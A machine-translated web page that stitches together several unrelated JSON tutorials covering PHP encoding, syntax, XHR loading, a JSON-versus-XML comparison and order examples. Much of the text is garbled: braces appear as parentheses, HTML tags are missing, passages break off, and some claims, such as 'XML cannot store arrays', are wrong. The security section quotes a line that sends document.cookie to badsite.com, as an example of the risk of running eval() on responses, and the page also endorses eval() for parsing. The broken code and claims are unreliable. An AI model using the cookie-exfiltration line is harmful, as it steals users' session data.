Json abbreviation decoding. Basics of working with JSON. What is JSON

💖 Do you like it? Share the link with your friends

Variables, arrays and objects are a familiar and convenient form of data representation. It is customary to describe data in the browser language JavaScript, which is not necessary in the PHP server language. The JSON format allows you to summarize them into one whole and not focus on the programming language. In this case, the data turns into pairs: “name = value”. The value in each of them can also be a collection of such pairs.

It is customary to associate JSON with curly braces and the latter is quite justified, since the JSON format = JavaScript Object Notation. Much has changed in recent particularly dynamic years. What was created for a specific purpose often brought unexpected results or opened up new horizons.

Data exchange: browser - server

AJAX technology has become traditional, regular page refresh entirely has ceased to be popular. A visitor, opening a site, initiates a series of partial data exchanges, when certain pages change only in the place that is relevant.

It is believed that the emergence of JSON is associated with the use of AJAX, but in fact, associative and its object notation (features of the syntax for describing and using objects) have a much more related relationship to JSON than the exchange of data between the browser and the server.

Since the content of the pages of modern sites has truly become “massive” (voluminous), the efficiency of the format for data exchange has acquired particular importance. This is not to say that JSON has become a new data representation, but the fact that it has long been an element of JavaScript syntax is significant.

The use of Cyrillic in naming variables is a very unexpected phenomenon (nonsense), but it works in the latest versions of Chrome, Firefox and even Internet Explorer 11.

Cyrillic and JSON

Of course, there is no point in using this completely unexpected phenomenon, remembering how easily the values ​​of variables written in Russian letters turn into gibberish: what can we say about names, especially external ones.

It is doubtful that the initiative in Cyrillic names will be supported by the external environment of the browser, with which it constantly has to deal. But this fact deserves attention for the simple reason that the JSON format is the ability to write names and values ​​as the developer wishes. This is important, since in each task the description of the application area as it requires it significantly simplifies debugging and reduces the number of errors.

It doesn’t matter what exactly the basis of the syntactic innovation - JSON - was, it is important that it gave the legal right and the real opportunity to set the correspondence: “any name = any value”.

We must pay tribute to the JavaScript language: what is provided by the syntax does not oblige the developer and does not impose anything on him. The developer freely uses the language syntax to optimally form a data model and an algorithm for their use.

PHP and JSON

By accepting data in JSON format, the server (via PHP, in particular) provides the ability to process it as is and return the result back to the browser in a similar format. PHP source array:

  • $cJSON = array ("a"=> "alfa", "b"=> "beta", "g"=> "gamma").

Convert to JSON for delivery to browser:

  • $cJS = json_encode($cJSON).

Result:

  • ("a":"alfa","b":"beta","g":"gamma").

The nesting shown in the photo is allowed.

Here the generated array was added with a new element “into itself” with the automatic index “0”, and then again with the specified index “z”.

Json_decode() converts a JSON string to a PHP array. Similar results can be achieved by manipulating functions and explode(). In some cases this option is preferable.

Nesting level

Elements can be nested both on the browser side and on the server side. In practice, the JSON format (RFC 4627 standard description) provides significantly more than 4 levels of nesting, but this feature should not be abused.

It is best to never go beyond reasonable sufficiency; this makes the code readable, making it easier to debug and understand for other developers.

JSON is commonly referred to as data constructs that are simpler than XML and understandable to both people and computers. This is true when the amount of data is small and the developer has chosen the level of nesting wisely. In all other cases, counting the number of brackets and understanding is difficult both on the browser side and on the server side.

JSON files

The use of JSON in practice is often not limited to a human-readable short string. Any data construction is always pragmatic. At the same time, JSON can be effectively used both in real task data (enterprise staff) and for implementing temporary data (object cache).

Enterprise staff and JSON format: example

Usually a record about one person is a last name, first name, patronymic, year of birth, specialty, education, ... and a few other simple values. Even in particularly demanding companies, a record about one person will not exceed a dozen or two fields. This is perceptible and can be placed in a database string.

If a company employs several people, this is one thing, but if there are tens of thousands, this is completely different. You can continue to use the database, but storing it as a file seems more practical and accessible to use.

JSON is a plain text file. The case with the staffing table goes without saying. You can always read it. Opening and editing is also available in any text editor that does not have the habit of adding its own service information to the contents of the file. In general, *.json is pure text both inside the browser and inside the file - a string.

The photo shows the cache of the object that forms the picture, an example.

This is an example of the content of a file generated by a site that provides color 3D printing on mugs and ceramics. Naturally, having such a JSON format, deciding how to open it is really problematic. However, in this and similar cases there are no problems with reading the file: PHP reads the file, parses it and passes it to the browser. The data changed by the visitor is returned to the server and written back.

In this use case, the file acts as a variable that is stored outside of the code. If necessary, the variable receives a value from the file, and if it is changed by the visitor in the dialogue provided by the site, then all changes will be recorded as is. There is no need to read and check the contents of the file.

JSON is often used to store and use service information - this is not a staffing table, and neither the developer nor the site visitor needs to see it.

XML and JSON

“There is a time for everything” is a classical knowledge accepted as an axiom even before the advent of programming. “Nothing just appears” - this also happened before man wrote the first intelligible program in an artificial language.

Data formats arise from real needs and are based on achieved knowledge. HTML has its own path, XML has its own path, and JSON is JavaScript object logic extended to other languages. Comparing one with another is not the best thing to do. To each his own.

XML copes with its tasks wonderfully and is clearly not going to become history. And JSON was used until 2006; it’s just that not every developer considered it his duty to declare certain options for representing their data.

There have been cases in practice when programs were written in BASIC that did not use JSON as such, but perfectly stored “name = value” pairs and made them available to the right algorithms at the right time.

Special characters (“`”, “~”, “|”, ...) and data formats

The habit of working with associative arrays and objects in JavaScript makes using JSON natural and convenient. This is a really great format, but the ability to separate and join, manipulating strings and arrays, has much deeper roots.

The join/split functions of the JavaScript language and implode/explode of the PHP language allow you to conveniently and efficiently use both XML, JSON data formats, and your own version. The latter is often optimal, while the first two are ideal for general use options. If information is being transferred to another developer, server, file or database, there is no better way to find XML and JSON. Everyone works with them, so the transmission/reception of information does not require comments.

Using JSON in Android

Reading and writing data in JSON format in Android is not only the norm, but there are also many objects focused on working with this particular data format.

In this case, the JSON format is used. This may be true, but the question is not the phenomenality of social networks, but the fact that presenting information in the “name = value” format is really convenient both for programming and for use. Unlike the strict and complex “XML”, this is truly a human-friendly format.

Associative Arrays

It so happens that variables must be described (JavaScript) or at least an initial value must be specified (PHP). In both cases, the variable can change its type very easily. The language performs this conversion automatically if necessary.

But why shouldn’t the variable also change its name, appear during the execution of the algorithm, and disappear when it is no longer needed? Associative arrays solve this problem, but then when using such relatively dynamic variables, the array name and the corresponding syntactic constructs will follow where they are used.

This circumstance is especially pronounced in PHP, but you can put up with it, as, indeed, with the “$” symbol in the variable name and the “$this->” combination inside the object. Programming in JavaScript and PHP at the same time, at first you really are amazed at how different everything is, but then everything becomes so familiar and natural...

Associative Array -> JSON

In this example, a *.docx document is created using the PHPOffice/PHPWord library, and the aProperties array contains the properties of this document (author, company, title, category, creation date...).

The second array contains data for the page:

  • orientation (landscape or normal);
  • vertical and horizontal dimensions;
  • indents (margins left, top, bottom, right);
  • headers and footers.

The document is generated on the server where the PHPOffice/PHPWord library is installed. The site allows you to manage the values ​​of these arrays using JavaScript. The result in JSON format is returned back to the server and used in PHP algorithms, in its constructs, that is, in arrays.

Dynamic Variables

The JSON format solves the problem of dynamic variables. Here you can create, change and delete variables without unnecessary syntactic clutter. It looks nice and is used in JavaScript.

In this example, the GetOjInfo() function retrieves the value name and value from an object. Initially, the JSON string object assigned to the ojInfo variable has three elements: Name, age, and work. A little later the Status variable is added.

After the first delete operator, the ojInfo line loses the age element, after the second delete it loses the work element. If we assume that this string is a selection of variables that have a certain meaning, then using JSON you can actually create, change and delete any sets of them outside the operational field (syntax) of describing and processing the JavaScript language.

The JSON format was not designed for this option, but it is possible, practical and convenient.

JSON (JavaScript Object Notation) is a data transfer format. As the name suggests, the format is based on the JavaScript programming language, but it is also available in other languages ​​(Python, Ruby, PHP, Java).

JSON uses the .json extension. When used in other file formats (such as .html), the JSON string is quoted or assigned to a variable. This format is easily transferred between the web server and the client or browser.

Lightweight and easy to understand, JSON is a great alternative to XML.

This tutorial will introduce you to the benefits, objects, general structure, and syntax of JSON.

JSON syntax and structure

A JSON object is in key-value form and is usually written in curly braces. When working with JSON, all objects are stored in a .json file, but they can also exist as separate objects in the context of the program.

The JSON object looks like this:

"first_name" : "John",
"last_name" : "Smith",
"location" : "London",
"online" : true,
"followers" : 987

This is a very simple example. A JSON object can contain many lines.

As you can see, an object is made up of key-value pairs that are enclosed in curly braces. Most data in JSON is written as objects.

A colon is placed between the key and value. After each pair you need to put a comma. The result is:

"key" : "value", "key" : "value", "key" : "value"

The JSON key is on the left. The key must be placed in double quotes. Any valid string can be used as a key. Within one object, all keys must be unique. The key may contain a space (“first name”), but programming may have problems accessing such a key. Therefore, instead of a space, it is better to use an underscore (“first_name”).

The JSON values ​​are on the right side of the column. Any simple data type can be used as a value:

  • Strings
  • Numbers
  • Objects
  • Arrays
  • Boolean data (true or false)

Values ​​can also be represented by complex data types (for example, objects or JSON arrays).

JSON supports individual syntax for each of the data types listed above: if the value is represented by a string, then it will be quoted, but if it is a number, then it will not.

Typically, data in .json files is written in a column, but JSON can also be written in a row:

( "first_name" : "John", "last_name" : "Smith", "online" : true, )

This is how JSON data is typically written to other file types.

By writing JSON data to a column, you improve the readability of the file (especially if there is a lot of data in the file). JSON ignores spaces between columns, so you can use them to divide your data into a manageable number of columns.

"first_name" : "John",
"last_name" : "Smith",
"online" : true

Note that JSON objects are very similar to JavaScript objects, but they are not the same format. For example, you can use functions in JavaScript, but not in JSON.

The main advantage of JSON is that data in this format is supported by many popular programming languages, so it can be quickly transferred.

You are now familiar with the basic JSON syntax. But JSON files can have complex, hierarchical structures that include nested arrays and objects.

Complex types in JSON

JSON can store nested objects and arrays, which will be passed as the value of the key assigned to them.

Nested objects

Below you will find an example - the users.json file, which contains user data. For each user

(“john”, “jesse”, “drew”, “jamie”) a nested object is passed as a value, which, in turn, also consists of keys and values.

Note: The first nested JSON object is highlighted in red.

"john" :(
"username" : "John",
"location" : "London",
"online" : true,
"followers" : 987

"jesse" :(
"username" : "Jesse",
"location" : "Washington",
"online" : false,
"followers" : 432

"drew" :(
"username" : "Drew",
"location" : "Paris",
"online" : false,
"followers" : 321

"jamie" :(
"username" : "Jamie",
"location" : "Berlin",
"online" : true,
"followers" : 654

Note that curly braces are used in both the nested object and the main object. Commas in nested objects are used in the same way as in regular objects.

Nested Arrays

Data can be nested in JSON using JavaScript arrays, which will be passed as values. JavaScript uses square brackets () at the beginning and end of an array. An array is an ordered collection of data that can contain different types of data.

An array is used to transfer a large amount of data that can be grouped. For example, let's try to record user data.

{
"first_name" : "John",
"last_name" : "Smith",
"location" : "London",
"websites" : [

"description" : "work",
"URL" : "https://www.johnsmithsite.com/"

},
{

"desciption" : "tutorials",
"URL" : "https://www.johnsmithsite.com/tutorials"

"social_media" : [

"description" : "twitter",
"link" : "https://twitter.com/johnsmith"

"description" : "facebook",
"link" : "https://www.facebook.com/johnsmith"

"description" : "github",
"link" : "https://github.com/johnsmith"

The keys “websites” and “social_media” are assigned arrays as values, which are placed in square brackets.

Using nested arrays and objects, you can create a complex data hierarchy.

JSON or XML?

XML (eXtensible Markup Language) allows you to store data in a form that is easy to understand for humans and machines. The XML format is supported by a large number of programming languages.

XML and JSON have a lot in common. However, XML requires much more text, which means that such files are larger and more difficult to read and write. Moreover, XML is only processed using an XML interpreter, while JSON can be processed using a simple function. Unlike JSON, XML cannot store arrays.

Let's compare two files: they contain the same data, but the first is written in XML format, and the second in JSON.

users.xml

John London

Jesse Washington

Drew Paris

Jamie Berlin

users.json
("users": [

("username" : "John", "location" : "London"),
("username" : "Jesse", "location" : "Washington"),
("username" : "Drew", "location" : "Paris"),
("username" : "JamieMantisShrimp", "location" : "Berlin")

JSON is a very compact format and does not require as many tags as XML. Additionally, XML, unlike JSON, does not support arrays.

If you're familiar with HTML, you'll notice that the XML format is very similar to it (particularly the tags). JSON is simpler, requires less text, and is easier to use in AJAX applications, for example.

Of course, the format must be chosen depending on the needs of the application.

Tools for JSON

JSON is commonly used in JavaScript, but the format is widely used in other programming languages.

More information about JSON compatibility and processing can be found on the project website and the jQuery library.

It's rare to write JSON from scratch. Typically, data is loaded from source or converted to JSON. You can convert CSV or tab-delimited data to JSON using the open-source tool Mr. Data Converter. To convert XML to JSON and vice versa, use utilities-online.info. When working with automatic tools, be sure to check the results.

JSON files (including converted data) can be inspected using the JSONLint service. To test JSON in a web development context, refer to JSFiddle.

Conclusion

JSON is a simple and lightweight data format. JSON files are easy to transfer, store, and use.

Today JSON is often used in APIs.

JavaScript Object Notation (JSON) is a standard text format for representing structured data based on JavaScript object syntax. It is commonly used for data transfer in web applications (for example, sending some data from the server to the client so it can be displayed on a web page or vice versa). You'll run into this quite often, so in this article we give you everything you need to work with JSON using JavaScript, including parsing JSON so you can access the data inside it and create JSON.

No, really, what is JSON?

We're going to load it into our page and use some neat DOM manipulation to render it, like this:

Receiving JSON

To receive the JSON, we'll use an API called XMLHttpRequest (often called XHR). This is a very useful JavaScript object that allows us to make network requests to retrieve resources from the server via JavaScript (e.g. images, text, JSON, even HTML snippets), meaning we can update small sections of content without having to reload the entire page. This has resulted in more responsive web pages and sounds exciting, but is unfortunately beyond the scope of this article to teach it in much more detail.

  • Let's start with the fact that we are going to store the JSON URL we want to receive in a variable. Add the following JavaScript code: var requestURL = "https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json";
  • To create a request, we need to create a new request object instance from the XMLHttpRequest constructor using the new keyword. Add the following below as your last line: var request = new XMLHttpRequest();
  • Now we need to open a new request using the . Add the following line: request.open("GET", requestURL);

    This takes at least two parameters - there are other parameters available. We only need two required for this simple example:

    • The HTTP method to use when making a network request. This case is fine since we are just retrieving some simple data.
    • The URL for the request is the URL of the JSON file we saved earlier.
  • Then add the following two lines: Here we are setting to JSON so that XHR knows that the server will return JSON and that this should be converted behind the scenes to a JavaScript object. Then we send the request using the method: request.responseType = "json"; request.send();
  • The last bit of this section involves waiting for a return response from the server and then handling it. Add the following code below your previous code: request.onload = function() ( var superHeroes = request.response; populateHeader(superHeroes); showHeroes(superHeroes); )
  • Here we store the response to our request (available in the property) in the superHeroes variable; this variable will now contain a JSON based JavaScript object! We then pass this object to two function calls - the first one will populate it with the correct data, and the second one will create an info card for each hero on the team and insert it into .

    We wrapped the code in an event handler that fires when the load event is fired on the request object (see) - this is because the load event fires when the response is returned successfully; doing it this way ensures that request.response will definitely be available when we go to try and do something about it.

    Header Filling

    Now we have extracted the JSON data and turned it into a JavaScript object, let's make use of it by writing the two functions we have linked above. First of all, add the following function definition below the previous code:

    Function populateHeader(jsonObj) ( var myH1 = document.createElement("h1"); myH1.textContent = jsonObj["squadName"]; header.appendChild(myH1); var myPara = document.createElement("p"); myPara. textContent = "Hometown: " + jsonObj["homeTown"] + " // Formed: " + jsonObj["formed"]; header.appendChild(myPara);

    We named the parameter jsonObj to remind ourselves that this JavaScript object originated from JSON. Here we first create an element with , set it equal to the squadName property of the object, and then add it to the header with . We then perform a very similar operation with a paragraph: we create it, set its text content, and add it to the heading. The only difference is that its text is specified as a concatenated string containing both the homeTown and formed properties of the object.

    Creating Hero Information Cards

    Then add the following function at the bottom of the code that creates and displays the superhero cards:

    Function showHeroes(jsonObj) ( var heroes = jsonObj["members"]; for (var i = 0; i< heroes.length; i++) { var myArticle = document.createElement("article"); var myH2 = document.createElement("h2"); var myPara1 = document.createElement("p"); var myPara2 = document.createElement("p"); var myPara3 = document.createElement("p"); var myList = document.createElement("ul"); myH2.textContent = heroes[i].name; myPara1.textContent = "Secret identity: " + heroes[i].secretIdentity; myPara2.textContent = "Age: " + heroes[i].age; myPara3.textContent = "Superpowers:"; var superPowers = heroes[i].powers; for (var j = 0; j < superPowers.length; j++) { var listItem = document.createElement("li"); listItem.textContent = superPowers[j]; myList.appendChild(listItem); } myArticle.appendChild(myH2); myArticle.appendChild(myPara1); myArticle.appendChild(myPara2); myArticle.appendChild(myPara3); myArticle.appendChild(myList); section.appendChild(myArticle); } }

    First, let's store the members property of the JavaScript object in a new variable. This array contains several objects that contain information for each hero.

    We then use to loop through each object in the array. For each of them we:

  • We create several new elements: , , three

    AND

      .
    • Set to contain the name of the current hero.
    • Fill out three paragraphs with your secretIdentity , age , and a line that says “Superpowers:” to enter the information into the list.
    • We store the powers property in another new variable called superPowers - this contains an array that lists the current hero's superpowers.
    • We use another for loop to cycle through the current hero's superpowers - for each of them we create an element
    • , put the superpowers in it, and then put the listItem inside the element
        (myList) using appendChild() .
      • The last thing we do is add ,

        AND

          inside (myArticle) and then add it to the . The order in which things are added is important, as this is the order they will appear inside the HTML.

          Note: If you're having trouble following the dot/bracket notation we use to access a JavaScript object, it may help to open the superheroes.json file in another tab or text editor and refer to it when you look at our JavaScript. You can also refer to our article for more information on dot and parenthesis notation.

          Convert between objects and text

          The above example was simple in terms of accessing a JavaScript object because we specified an XHR request to directly convert the JSON response to a JavaScript object using .

          • Translation

          Note: below is a translation of the review article “JSON vs XML”, dedicated to JSON and its comparison with XML according to a number of criteria. Published in order to popularize JSON among Habrahabr readers.

          JSON (JavaScript Object Notation) is a data exchange format that is easy to read by people, easy to process and generate by programs.

          Based on a subset of the JavaScript language, Standard ECMA-262 3rd Edition - December 1999.


          JSON - Wikipedia

          What is the correct response format for XMLHttpRequest in AJAX applications? For most markup-based applications, the answer is simple - (X)HTML. For information-centric applications, the choice will be between XML and JSON. Until recently, I didn't really wonder what was better to use, XML or JSON. I simply assumed that in each specific case it was worth choosing the most suitable format, that’s all. But recently I had the opportunity to test this approach in practice. In this post, I will describe the criteria by which I compared between XML and JSON, and my own conclusions.

          So, the criteria are as follows.

          • Code readability.
          • Ease of creating a server-side data object.
          • Easy data processing on the client side.
          • Easy to expand.
          • Debugging and error correction.
          • Safety.
          Code readability

          Person person = new Person(); person.setFirstName("Subbu"); person.setLastName("Allamaraju"); writer.write(JSONObject.fromObject(person).toString());

          When considering the functioning of such programming interfaces, creating JSON is not much different from serializing Java beans into objects. However, it is worth noting that there are now many more ways to generate XML than JSON. Some of these XML APIs have been around for many years and for this reason may be more stable when used for complex applications.

          Another aspect to consider will be the amount of resources that are used to generate the response. If “heavy” operations are already performed when receiving data, then it will not be difficult for the server part to additionally convert them into XML for a response. If creating XML is the most resource-intensive operation, then it is better to use JSON.

          Ease of use

          On the client side, processing JSON data as a response to an XMLHttpRequest is extremely simple.

          Var person = eval(xhr.responseText); alert(person.firstName);

          Using regular eval() you can convert the response into a JavaScript object. Once this operation is completed, the data can be accessed using the properties of the converted object. This is the most elegant part of all JSON.

          Now let's look at XML. To make the code snippet below more transparent, I've removed all error checking.

          "firstName"); alert(elements[0].firstChild.textContent);

          Obviously, when processing data received from the server, it is necessary to look through the entire DOM tree. This is a very labor-intensive operation and is prone to errors. Unfortunately, in the browser we have to deal with the DOM. Browsers do not support a query language like XPath for retrieving tree nodes in an XML document. Support for these functions already applies to XSLT, but it is quite limited ( note: in the browser) in terms of converting XML into markup (for example, HTML). Working Group on Web Interfaces ( Web API Working Group) from W3C is working on a selector interface ( Selectors API), which can be used to apply CSS selectors when selecting nodes from a Document object. Using such an interface, it would be possible to transform the above example code into xml.match("person.firstName") to get the firstName element. This isn't a huge achievement for the XML document in this example, but it can be useful for working with highly branched documents. This interface is not yet complete, and it will be years before browsers support it.

          In general, if I have to choose between XML and JSON, I will prefer JSON due to the ease of implementing client-side processing.

          Extensibility

          Extensibility helps reduce the number of communications between the data provider and the recipient. In the context of AJAX applications, the client-side script must be sufficiently invariant with respect to compatible changes in data.

          The general belief is that XML is automatically extensible simply by virtue of the presence of the letter "X". But this is not an unconditional rule (i.e., acting by default). XML extensibility is based on the principle that you can define additional nodes in your XML and then apply a "skip what's not needed" rule (i.e., if you encounter an unfamiliar element or attribute while processing XML, just skip it).

          To take full advantage of extensibility, you need to write client-side code with extensibility in mind. For example, the following example will break down if you want to insert, for example, a middleName element.

          Var xml = xhr.responseXML; var elements = xml.getElementsByTagName("firstName"); var firstNameEl = elements[0]; var lastNameEl = firstNameEl.nextSibling;

          If you insert an element immediately after the element, this example will cause the middle name to be misinterpreted as a last name. To be invariant to this change, the code needs to be rewritten to explicitly get the element, or access nextSibling only if a child with the desired tagName is found. Thus, XML is extensible as long as you write the code with future extensibility in mind. Everything is extremely simple.

          Let's go back to JSON. I argue that it is easier to extend JSON data than XML. This undoubtedly requires less effort. Let's consider adding the middleName property to the JSON response. In order to access it, you just need to call it.

          Alert(person.middleName);

          This code will not change if you add a middle name to your answer. But what to do in the case of processing a person with or without a middle name? With JSON it's easy.

          if (person.middleName) ( // Processing )

          My position is that if possible future extensibility is kept in mind, both XML and JSON data can be extended. But it's easier to expand data with JSON than with XML. You simply need to check that the required property exists on the object and act according to the result of the check.

          Another option to extend JSON data is to use function calls along with data declarations directly in the response.

          Alert("Hi - I"m a person"); (("firstName" : "Subbu", "lastName" : "Allamaraju"));

          When data is declared via eval() , the browser will also call the alert() expression. In this case, you can both load data and execute functions. This approach should be used with great caution, because it clutters the response with function calls and creates a connection between calls and data. Some sources also discuss the potential security vulnerabilities of this approach, which are discussed in more detail below.

          Debugging and error correction

          This aspect applies to both the server side of your application and the client side. On the server, you need to make sure that the data is correctly formed and correct. It should be easy to debug errors in the response on the client side.

          With XML, it is relatively easy to verify that the data sent to the client is well-formed and correct. You can use schema for your data and apply it to validate the data. With JSON, this task becomes manual and requires checking that the resulting object has the correct attributes.

          On the client side, in both cases it is difficult to detect errors. For XML, the browser will simply not be able to convert it to responseXML. For small amounts of JSON data, you can use the FireBug extension for debugging and error correction. But with large amounts of data, it becomes somewhat difficult to correlate the error message with a specific location in the code.

          Safety

          Dave Johnson, in his post JSON and the Golden Fleece, suggests that JSON can cause security problems. The gist of the note is that if you allow function calls to be inserted along with data in JSON responses and use eval() to process the response, then you are executing arbitrary code, which in fact may already contain a security risk.

          Window.location = "http://badsite.com?" + document.cookie; person: ( "firstName" : "Subbu", "lastName" : "Allamaraju" )

          If the response in the example above is executed, it will cause the browser to send the user's cookies to the third party site. But in this case, there is some confusion in the definition of a security threat. You should not trust data or code obtained from an unverified source. And secondly, we will not be able to use XMLHttpRequest to communicate with domains other than the script's source domain. So, only the developers themselves, when creating an application, can initiate the sending of cookies to a third-party site. This is quite doubtful, because they could just as easily place this malicious code anywhere in the document outside of the data response sent from the server. Perhaps I'm missing something, but I don't see the point in considering JSON to be unsafe compared to XML.

          My choice

          For information-centric applications, I would prefer to use JSON over XML due to its simplicity and ease of data processing on the client side. XML may be indispensable on the server, but JSON is definitely easier to work with on the client.

          Surely you have ever heard of JSON. What is it? What can it do and how to use it?

          In this tutorial we will cover the basics of JSON and cover the following points:

          • What is JSON?
          • What is JSON used for?
          • How to create a JSON string?
          • A simple example of a JSON string.
          • Let's compare JSON and XML.
          • How to work with JSON in JavaScript and PHP?
          What is JSON?

          JSON is a simple, text-based way to store and transmit structured data. With a simple syntax, you can easily store anything from a single number to strings, arrays, and objects in plain text. You can also link arrays and objects together to create complex data structures.

          Once the JSON string is created, it is easy to send it to another application or to another location on the network because it is plain text.

          JSON has the following advantages:

          • It's compact.
          • Its sentences are easy to read and compose by both humans and computers.
          • It can be easily converted into a data structure for most programming languages ​​(numbers, strings, booleans, arrays, etc.)
          • Many programming languages ​​have functions and libraries for reading and creating JSON structures.

          The name JSON stands for JavaScript Object Notation. As the name suggests, it is based on a way of defining objects (much like creating associative arrays in other languages) and arrays.

          What is JSON used for?

          The most common common use of JSON is to send data from the server to the browser. Typically, JSON data is delivered using AJAX, which allows the browser and server to communicate without having to reload the page.

        • The user clicks on a product thumbnail in an online store.
        • JavaScript running on the browser generates an AJAX request to the PHP script running on the server, passing in the ID of the selected product.
        • The PHP script gets the product name, description, price and other information from the database. Then it composes a JSON string from the data and sends it to the browser.
        • JavaScript running on the browser receives the JSON string, decodes it, and displays the product information on the page for the user.
        • You can also use JSON to send data from the browser to the server by passing a JSON string as a parameter to GET or POST requests. But this method is less common, since data transfer through AJAX requests can be simplified. For example, the product ID may be included in the URL as part of a GET request.

          The jQuery library has several methods, such as getJSON() and parseJSON(), that make it easy to retrieve data using JSON through AJAX requests.

          How to create a JSON string?

          There are a few basic rules for creating a JSON string:

          • The JSON string contains either an array of values ​​or an object (an associative array of name/value pairs).
          • Array is enclosed in square brackets ([ and ]) and contains a comma-separated list of values.
          • An object is enclosed in curly braces (( and )) and contains a comma-separated list of name/value pairs.
          • name/value pair consists of the field name enclosed in double quotation marks, followed by a colon (:) and the field value.
          • Meaning in an array or object there can be:
            • Number (integer or floating point)
            • String (in double quotes)
            • Boolean value (true or false)
            • Another array (enclosed in square brackets)
            • Another object (enclosed in curly braces)
            • null value

          To include double quotes in a string, you need to use a backslash: \" . As with many programming languages, you can put control characters and hex codes in a string by preceding them with a backslash. See the JSON website for details.

          Simple JSON string example

          Below is an example of ordering in JSON format:

          ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [email protected]", "contents": [ ( "productID": 34, "productName": "Super product", "quantity": 1 ), ( "productID": 56, "productName": "Miracle product", "quantity": 3 ) ], "orderCompleted": true )

          Let's look at the line in detail:

          • We create an object using curly braces (( and )).
          • The object has several name/value pairs: "orderID": 12345 A property with the name "orderId" and an integer value 12345 "shopperName": "Vanya Ivanov" a property with the name "shopperName" and the string value "Vanya Ivanov" "shopperEmail": " [email protected]" A property named "shopperEmail" with a string value " [email protected]" "contents": [ ... ] A property named "contents" whose value is an array "orderCompleted": true A property named "orderCompleted" and the boolean value true
          • There are 2 objects in the "contents" array representing individual items in the order. Each object contains 3 properties: productID , productName , and quantity .

          By the way, since JSON is based on declaring JavaScript objects, you can quickly and easily make the above JSON string a JavaScript object:

          var cart = ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [email protected]", "contents": [ ( "productID": 34, "productName": "Super product", "quantity": 1 ), ( "productID": 56, "productName": "Miracle product", "quantity": 3 ) ], "orderCompleted": true );

          Comparison of JSON and XML

          In many ways, you can think of JSON as an alternative to XML, at least in the web application space. The concept of AJAX was originally based on the use of XML to transfer data between the server and the browser. But in recent years, JSON has become increasingly popular for transporting AJAX data.

          While XML is a proven technology that is used in a fair number of applications, JSON has the advantage of being a more compact and easier-to-recognize data format.

          This is what the above example object in XML would look like:

          orderID 12345 shopperName Vanya Ivanov shopperEmail [email protected] contents productID 34 productName Super product quantity 1 productID 56 productName Miracle product quantity 3 orderCompleted true

          The XML version is significantly larger. In reality it is 1128 characters long, while the JSON version is only 323 characters long. The XML version is also quite difficult to understand.

          Of course, this is a radical example. And it is possible to create a more compact XML record. But even it will be significantly longer than the JSON equivalent.

          Working with a JSON string in JavaScript

          JSON has a simple format, but creating a JSON string manually is quite tedious. Additionally, you often need to take a JSON string, convert its contents into a variable that can be used in code.

          Most programming languages ​​have tools to easily convert variables to JSON strings and vice versa.

          Creating a JSON string from a variable

          JavaScript has a built-in JSON.stringify() method that takes a variable and returns a JSON string representing its contents. For example, let's create a JavaScript object that contains the order information from our example, and then create a JSON string from it:

          var cart = ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [email protected]", "contents": [ ( "productID": 34, "productName": "Super product", "quantity": 1 ), ( "productID": 56, "productName": "Miracle product", "quantity": 3 ) ], "orderCompleted": true ); alert (JSON.stringify(cart));

          This code will produce:

          Note that the JSON.stringify() method returns a JSON string without spaces. It is more difficult to read, but it is more compact for transmission over the network.

          There are several ways to parse a JSON string in JavaScript, but the safest and most reliable is to use the built-in JSON.parse() method. It receives a JSON string and returns a JavaScript object or array that contains the data. For example:

          var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "Vanya Ivanov", \ "shopperEmail": " [email protected]", \ "contents": [ \ ( \ "productID": 34, \ "productName": "Super product", \ "quantity": 1 \), \ ( \ "productID": 56, \ "productName": "Miracle goods", \"quantity": 3\ ) \ ], \"orderCompleted": true \ ) \"; var cart = JSON.parse(jsonString); alert(cart.shopperEmail); alert(cart.contents.productName);

          We created a jsonString variable that contains the JSON string of our example order. We then pass this string to the JSON.parse() method, which creates an object containing the JSON data and stores it in the cart variable. All that remains is to check by displaying the properties of the shopperEmail object and productName of the contents array.

          As a result, we will get the following output:

          In a real application, your JavaScript code would receive the order as a JSON string in an AJAX response from the server script, pass the string to the JSON.parse() method, and then use the data to display it on the user's page.

          JSON.stringify() and JSON.parse() have other capabilities, such as using callback functions to custom convert certain data. Such options are very useful for converting various data into proper JavaScript objects.

          Working with a JSON string in PHP

          PHP, like JavaScript, has built-in functions for working with JSON strings.

          Creating a JSON string from a PHP variable

          The json_encode() function takes a PHP variable and returns a JSON string representing the contents of the variable. Here is our order example, written in PHP:

          This code returns exactly the same JSON string as in the JavaScript example:

          ("orderID":12345,"shopperName":"Vanya Ivanov","shopperEmail":" [email protected]","contents":[("productID":34,"productName":"Super product","quantity":1),("productID":56,"productName":"Miracle product","quantity": 3)],"orderCompleted":true)

          In a real application, your PHP script will send this JSON string as part of an AJAX response to the browser, where the JavaScript code, using the JSON.parse() method, will parse it back into a variable for display on the user's page.

          You can pass various flags as the second argument to the json_encode() function. With their help, you can change the principles of encoding the contents of variables into a JSON string.

          Create a variable from a JSON string

          To convert a JSON string into a PHP variable, use the json_decode() method. Let's replace our example for JavaScript with the JSON.parse() method with PHP code:

          As with JavaScript, this code will produce:

          [email protected] Miracle product

          By default, the json_decode() function returns JSON objects as PHP objects. There are generic PHP objects of the stdClass class. That's why we use -> to access the properties of the object in the example above.

          If you need a JSON object as an associated PHP array, you need to pass true as the second argument to the json_decode() function. For example:

          $cart = json_decode($jsonString, true); echo $cart["shopperEmail"] . "
          "; echo $cart["contents"]["productName"] . "
          ";

          This code will produce the same output:

          [email protected] Miracle product

          You can also pass other arguments to the json_decode() function to specify the recursion depth and how to handle large integers.

          Conclusion

          Although JSON is easy to understand and use, it is a very useful and flexible tool for transferring data between applications and computers, especially when using AJAX. If you are planning to develop an AJAX application, then there is no doubt that JSON will become an essential tool in your workshop.



  • tell friends